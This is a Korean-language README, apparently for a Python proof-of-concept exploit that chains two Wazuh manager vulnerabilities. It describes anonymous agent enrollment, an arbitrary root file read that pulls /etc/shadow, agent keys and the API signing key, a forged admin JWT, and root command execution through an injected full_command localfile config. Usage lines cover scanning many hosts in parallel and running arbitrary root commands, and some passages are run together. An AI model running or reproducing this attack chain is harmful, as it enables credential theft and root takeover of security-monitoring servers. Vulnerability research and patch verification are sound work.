
Wazuh PoC로 CVE-2026-74034 파일 읽기와 CVE-2026-74041 명령 실행을 연쇄하는 취약점; 4.14.8에서 수정됨. Python 표준 라이브러리만 사용.
단일 파일, 표준 라이브러리만 사용하는 멀티 호스트 PoC로, CVE-2026-74034와 CVE-2026-74041을 연쇄적으로 악용합니다. 두 권고문은 모두 2026년 10월 13일에 공개되었으며, 수정 사항은 2026년 9월 23일 Wazuh 4.14.8에 포함되어 배포되었습니다. 버전 4.14.8은 패치된 릴리스이며, 영향을 받는 대상이 아닙니다.
이 스크립트는 필요한 매니저 서비스에 접근 가능하고 비밀번호 없는 에이전트 등록이 활성화된 경우 다음과 같은 체인을 구현합니다:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
기본 제공되는 passwordless authd 등록이 접근 가능한 경우(<auth><use_password>no</use_password>) 기존 자격 증명이 필요하지 않습니다. 등록 비밀번호나 필수 클라이언트 인증서가 있으면 이 전제 조건이 바뀝니다. CVE-2026-74041 단독으로는 구성 업데이트 권한이 있는 인증된 API 사용자가 필요하며, 이 체인에서는 서명 키 노출 이후에 API 접근이 이루어집니다.
| CVE | CVSS / 벡터 | 영향받는 버전 | 한 줄 요약 |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | upgrade_custom의 parameters.file_path가 ROOT wm_agent_upgrade에 의해 열리며, wfopen() 존재 확인만 수행한 뒤 등록된 에이전트로 스트리밍됨 → 임의의 root 파일 읽기 |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands가 대문자 <LOG_FORMAT>을 허용하는데, 대소문자를 구분하는 Python 검증기는 이를 놓치지만 대소문자를 구분하지 않는 C logcollector는 이를 인정함 → root로서 full_command localfile |
두 버전 범위는 개별 결함을 설명하며, 전체 체인에 대해 문서화된 중첩 범위는 >=4.14.3 <4.14.8입니다. 다른 권고 사항은 이 PoC의 범위를 벗어납니다.
pip 없음, pycryptodome 없음, cryptography 없음).1515, 1514, 55000으로의 아웃바운드 TCP.# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| 플래그 | 기본값 | 의미 |
|---|---|---|
--port | 55000 | Wazuh REST API 포트 |
--authd-port | 1515 | authd 등록 포트 |
--remoted-port | 1514 | 에이전트 보안 채널 포트 |
--timeout | 10 | 소켓 타임아웃 (초) |
--agent-name | poc-<rand8> | 매니저에 등록되는 이름 |
--cmd | (id; hostname) > …/zz_pwned | 4단계 root 명령 |
--no-rce | 꺼짐 | 4단계 건너뛰기 |
--keep | 꺼짐 | ossec.conf를 복원하거나 마커를 삭제하지 않음 |
--debug | 꺼짐 | 프로토콜 메시지 덤프 |
--threads | 5 | 호스트 병렬 처리 |
--api-user | wazuh | 위조된 JWT에 넣을 사용자 이름 |
종료는 항상 호스트별로 정상적으로 이루어집니다. 거부, 비밀번호로 보호된 authd, 패치된 버전 또는 암호화 불일치는 정확한 차단 지점과 함께 보고되며, 실행은 나머지 호스트로 계속됩니다.
TCP 55000 (API), 1515 (authd), 1514 (remoted)를 탐색합니다. TLS 검증을 비활성화한 채
GET /를 요청하고, API가 인증 없이 노출하는 경우 api_version을 보고합니다. 강화된 빌드에서는
GET /가 401을 반환하며, 이때 실제 매니저 버전은 3단계에서 /var/ossec/VERSION.json으로부터
복구되어 4.14.8과 대조하여 표시됩니다.
TLS 연결(4.4+ authd는 TLS 전용이며, 스크립트는 매우 오래된 빌드를 위해 일반 TCP도 재시도함) 후
OSSEC A:'<name>'\n을 전송합니다. 매니저는
OSSEC K:'<id> <name> <ip> <key>'로 응답하며, 스크립트는 64자리 16진수 에이전트 키를 보관합니다.
src/os_crypto/shared/msgs.c의 Wazuh 에이전트 암호화를 재현합니다:
[4바이트 리틀 엔디언 길이][페이로드]ip=any) 에이전트의 경우 페이로드 !<id>!#AES:<ciphertext>MD5(agent_key_hex) (32 ASCII 바이트), IV FEDCBA0987654321,
PKCS#7!…! 패딩 + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)#!-agent startup {"version":"v4.14.6"}와 Ubuntu 플랫폼/아키텍처를 담은 keepalive를 전송하여
에이전트가 글로벌 DB에서 active 상태가 되게 한 다음, 큐 u
(UPGRADE_MQ) 작업을 전송합니다:
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd가 이를 WM_UPGRADE_SOCK으로 전달하고, ROOT 권한의 wazuh-modulesd가 파일을 열어
(wfopen, 경로/확장자/서명 검사 없음) 원시 바이트를 base64 write 청크로 다시 스트리밍합니다.
스크립트는 이를 재조립하여 실시간 [ACC] 줄을 출력합니다:
| 파일 | 처리 방식 |
|---|---|
/etc/shadow | root: / wazuh: 줄만 (해시는 전체 출력) |
/var/ossec/etc/client.keys | 전체 (25줄로 잘림, 바이트 수 집계) |
/var/ossec/etc/authd.pass | 전체 (등록이 익명일 때는 없음) |
/var/ossec/api/configuration/security/private_key.pem | 전체 |
/var/ossec/etc/ossec.conf | 클러스터 <key>, 인덱서 자격 증명, <auth> 비밀번호 |
/var/ossec/VERSION.json | 정찰용 버전 폴백 |
파일 사이에서 스크립트는 upgrade_update_status를 전송합니다 (그렇지 않으면 작업 관리자가
에이전트를 In progress 상태로 유지하고 다음 작업을 거부합니다).
iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1],
rbac_mode=white, exp-nbf=900). GET /agents로 검증됩니다.GET /manager/configuration?raw=true를 호출하고, 마지막 </ossec_config> 앞에
소문자 <log_format>syslog</log_format> 디코이와 대문자
<LOG_FORMAT>full_command</LOG_FORMAT> 및 명령을 포함한 <localfile>을 삽입합니다.PUT /manager/configuration (application/octet-stream), 이어서 PUT /manager/restart.GET /lists/files/zz_pwned?raw=true를 폴링합니다.--keep이 아닌 경우: 원본 ossec.conf를 PUT하고 재시작한 뒤,
DELETE /lists/files/zz_pwned를 실행합니다 (마커가 사라질 때까지 재시도).[+] (상태), [ACC] (수집된
접근/비밀 정보), [!] (경고), [-] (실패) 태그가 호스트 접두사와 함께 붙습니다.findings.jsonl이 스크립트 옆에 추가됩니다: 호스트당 하나의 JSON 객체로
version, agent_id, agent_key (등록 성공 시), accesses,
findings, ok, 그리고 선택적 error를 포함합니다. 이 파일은 민감 정보로 취급하십시오.ok는 최소 하나의 파일 읽기를 나타내며, RCE가 확인된 것은 아닙니다.client.keys /
global.db에 에이전트가 남습니다. 요약은 남은 에이전트 id를 출력합니다. 이를 삭제하려면 API
(DELETE /agents/{id})가 필요하며, phase 4가 성공하지 않는 한 범위 밖입니다.ossec.conf를 다시 쓰고, 관리자를 재시작하며,
잠시 루트로 명령을 실행합니다. 기본 명령은 마커 파일만 기록합니다. --keep이 전달되지 않는 한,
스크립트는 원본 설정을 복원하고 마커를 삭제하려고 시도합니다. 정리는 최선 노력 방식입니다:
설정 복원은 검증되지 않으며 예외나 중단이 발생하면 정리가 건너뛰어질 수 있습니다.
독립적인 백업을 유지하고 랩 관리자에서 복원을 수동으로 검증하십시오.
이후 실행은 중단 전 설정을 복구하지 않습니다.</ossec_config> 앞에 삽입되며,
frequency 10을 사용합니다; 마커는 wazuh-logcollector가 재로드된 후(재시작 이후) 기록됩니다.GET /는 현재 빌드에서 401을 반환하므로, api_version은 일반적으로
CVE-2026-74034를 통해 읽은 /var/ossec/VERSION.json에서 가져옵니다./var/ossec/etc/authd.pass는 <use_password>no</use_password> (취약한 기본값)일 때
존재하지 않으므로, 해당 읽기는 정당하게 아무것도 반환하지 않습니다.GET /manager/files?path=...는 4.14.x에 존재하지 않습니다; 스크립트는
/manager/configuration?raw=true와 /lists/files/<name>?raw=true를 사용합니다.작성자가 보고한 랩 테스트: Ubuntu 24.04에서 Wazuh 4.14.5; 등록, 파일 읽기, 위조된 JWT 및 명령 실행 마커가 성공한 것으로 보고되었으며, 이후 구성 복원과 마커 삭제가 이루어졌습니다. 192.0.2.10은 문서용 자리표시자입니다. 독립적으로 검토 가능한 실행 기록이나 패치 버전 대조 결과는 이 저장소에 포함되어 있지 않습니다.
이 저장소는 공개된 두 가지 취약점을 결합한 구현을 제공합니다. 원래 취약점 보고서는 Wazuh에 의해 다음에게 크레딧이 부여되었습니다: